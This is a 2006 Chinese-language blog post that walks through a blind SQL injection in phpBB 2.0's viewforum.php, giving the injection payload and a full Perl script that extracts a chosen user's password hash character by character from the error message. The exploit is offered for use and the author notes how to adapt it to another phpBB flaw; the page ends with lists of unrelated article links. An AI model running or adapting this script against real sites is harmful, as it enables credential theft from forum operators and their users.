php注入实例


Posted in PHP onOctober 09, 2006

php注入实例 在网上很难看到一篇完整的关于php注入的文章和利用代码,于是我自已把mysql和php硬啃了几个星期,下面说说我的休会吧,希望能抛砖引玉!
相信大家对asp的注入已经是十分熟悉了,而对php的注入比asp要困难,因为php的magic_gpc选项确实让人头疼,在注入中不要出现引号,而php大多和mysql结合,而mysql的功能上的缺点,从另外一人角度看确在一定程度上防止了sql njection的攻击,我在这里就举一个实例吧,我以phpbb2.0为例:
在viewforum.php中有一个变量没过滤:
if ( isset($HTTP_GET_VARS<pOST_FORUM_URL]) ││ isset($HTTP_POST_VARS<pOST_FORUM_URL]) )
{
$forum_id = ( isset($HTTP_GET_VARS<pOST_FORUM_URL]) ) ? intval($HTTP_GET_VARS<pOST_FORUM_URL]): intval

($HTTP_POST_VARS<pOST_FORUM_URL]);
}
else if ( isset($HTTP_GET_VARS['forum']))
{
$forum_id = $HTTP_GET_VARS['forum'];
}
else
{
$forum_id = '';
}
就是这个forum,而下面直接把它放进了查询中:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain forums information', '', __LINE__, __FILE__, $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

如果是asp的话,相信很多人都会注入了.如果这个forum_id指定的论坛不存在的话,就会使$result为空,于是返回Could not obtain forums information的信息,于是下面的代码就不能执行下去了
//
// If the query doesn't return any rows this isn't a valid forum. Inform
// the user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

//
// Start session management
//
$userdata = session_pagestart($user_ip, $forum_id) /****************************************

关键就是打星号的那一行了,这里是一个函数session_pagestart($user_ip, $thispage_id),这是在session.php中定义的一个函数,由于代码太

长,就不全贴出来了,有兴趣的可以自已看看,关键是这个函数还调用了session_begin(),函数调用如下session_begin($user_id, $user_ip,

$thispage_id, TRUE)),同样是在这个文件中定义的,其中有如下代码
$sql = "UPDATE " . SESSIONS_TABLE . "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =

$page_id, session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));

$sql = "INSERT INTO " . SESSIONS_TABLE . "
(session_id, session_user_id, session_start, session_time, session_ip, session_page,

session_logged_in)
VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, 'Error creating new session : session_begin', '', __LINE__, __FILE__,

$sql);
}

在这里有个session_page在mysql中定义的是个整形数,他的??$page_id,也就是$forum_id,如果插入的不是整形就会报错了,就会出现Error

creating new session : session_begin的提示,所以要指这$forum_id的值很重要,所以我把它指定为:-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57,没有引号吧!虽然指定的是一个不存在的forum_id但他返回的查询结果可不一定是为空,这个就是猜user_id为2的用户的第一位密码的ascii码值是是否为57,如果是的话文章中第一段代码中的$result可不为空了,于是就执行了ession_pagestart这个有问题的函数,插入的不是整数当然就要出错了,于是就显示Error creating new session : session_begin,就表明你猜对了第一位了,其它位类似.

如果没有这句出错信息的话我想即使注入成功也很难判断是否已经成功,看来出错信息也很有帮助啊.分析就到这里,下面附上一段测试代码,这段代码只要稍加修改就能适用于其它类似的猜md5密码的情况,这里我用的英文版的返回条件,中文和其它语言的只要改一下返回条件就行了.

use HTTP::Request::Common;
use HTTP::Response;
use LWP::UserAgent;
$ua = new LWP::UserAgent;

print " ***********************n";
print " phpbb viewforum.php expn";
print " code by pinkeyesn";
print " www.icehack.comn";
print " ************************n";
print "please enter the weak file's url:n";
print "e.g. http://192.168.1.4/phpBB2/viewforum.phpn";
$adr=<STDIN>;
chomp($adr);
print "please enter the user_id that you want to crackn";
$u=<STDIN>;
chomp($u);
print "work starting,please wait!n";
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$j<=32;$j++){
for ($i=0;$i<@pink;$i++){
$url=$adr."?forum=-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%

20user_id=$u%20and%20ord(substring(user_password,$j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua->request($request);

if ($response->is_success) {
if ($response->content =~ /Error creating new session/) {
$pwd.=chr($pink[$i]);
print "$pwdn";
}

}
}
}
if ($pwd ne ""){
print "successfully,The password is $pwd,good luckn";}
else{
print "bad luck,work failed!n";}

至于最近的phpbb2.0.6的search.php的问题利用程序只要将上面代码稍加修改就行了,如要错误请上www.icehack.com指正.

PHP 相关文章推荐
一个从别的网站抓取信息的例子(域名查询)
Oct 09 PHP
用PHP制作的意见反馈表源码
Mar 11 PHP
PHP学习之正则表达式
Apr 17 PHP
PHP CodeBase:将时间显示为&quot;刚刚&quot;&quot;n分钟/小时前&quot;的方法详解
Jun 06 PHP
基于PHP读取csv文件内容的详解
Jun 18 PHP
php使用substr()和strpos()联合查找字符串中某一特定字符的方法
May 12 PHP
thinkphp隐藏index.php/home并允许访问其他模块的实现方法
Oct 13 PHP
php设计模式之原型模式分析【星际争霸游戏案例】
Mar 23 PHP
php设计模式之策略模式实例分析【星际争霸游戏案例】
Mar 26 PHP
PHP Trait功能与用法实例分析
Jun 03 PHP
Memcached介绍及php-memcache扩展安装
Apr 01 PHP
php字符串倒叙
Apr 01 PHP
967 个函式
Oct 09 #PHP
如何给phpadmin一个保护
Oct 09 #PHP
Search Engine Friendly的URL设计
Oct 09 #PHP
PHPlet在Windows下的安装
Oct 09 #PHP
一棵php的类树(支持无限分类)
Oct 09 #PHP
基于PHP+MySQL的聊天室设计
Oct 09 #PHP
Win9x/ME下Apache+PHP安装配置
Oct 09 #PHP
You might like
PHP类与对象中的private访问控制的疑问
2012/11/01 PHP
PHP实现的交通银行网银在线支付接口ECSHOP插件和使用例子
2014/05/10 PHP
php修改上传图片尺寸的方法
2015/04/14 PHP
PHP操作XML中XPath的应用示例
2019/07/04 PHP
JS拖动技术 关于setCapture使用
2010/12/09 Javascript
基于jquery的当鼠标滚轮到最底端继续加载新数据思路分享(多用于微博、空间、论坛 )
2011/10/10 Javascript
js实现的仿新浪微博完美的时间组件升级版
2011/12/20 Javascript
JavaScript 反科里化 this [译]
2012/09/20 Javascript
js实现图片轮换效果代码
2013/04/16 Javascript
node.js下when.js 的异步编程实践
2014/12/03 Javascript
jQuery删除一个元素后淡出效果展示删除过程的方法
2015/03/18 Javascript
jquery弹出遮掩层效果【附实例代码】
2016/04/28 Javascript
谈谈JavaScript的New关键字
2016/08/26 Javascript
详解nodeJS之二进制buffer对象
2017/06/03 NodeJs
Angular移动端页面input无法输入的解决方法
2017/11/14 Javascript
10个在JavaScript开发中常遇到的BUG
2017/12/18 Javascript
angularjs实现的购物金额计算工具示例
2018/05/08 Javascript
jQuery使用$.extend(true,object1, object2);实现深拷贝对象的方法分析
2019/03/06 jQuery
用Python写的图片蜘蛛人代码
2012/08/27 Python
MySQL最常见的操作语句小结
2015/05/07 Python
Python类的定义、继承及类对象使用方法简明教程
2015/05/08 Python
浅谈Python traceback的优雅处理
2018/08/31 Python
python打开windows应用程序的实例
2019/06/28 Python
Python提取PDF内容的方法(文本、图像、线条等)
2019/09/25 Python
详解Django将秒转换为xx天xx时xx分
2019/09/27 Python
浅谈在django中使用redirect重定向数据传输的问题
2020/03/13 Python
LA MER海蓝之谜美国官网:传奇面霜
2016/08/27 全球购物
澳大利亚免息网上购物:Shop Zero
2016/09/17 全球购物
电子信息毕业生自荐信
2013/11/16 职场文书
学生会主席演讲稿
2014/04/25 职场文书
优秀少先队辅导员事迹材料
2014/12/24 职场文书
六年级语文下册教学计划
2015/01/22 职场文书
个人委托函范文
2015/01/29 职场文书
机关单位2016年创先争优活动总结
2016/04/05 职场文书
创业计划书之干洗店
2019/09/10 职场文书
《游戏王:大师决斗》将推出新卡牌包4月4日上线
2022/03/31 其他游戏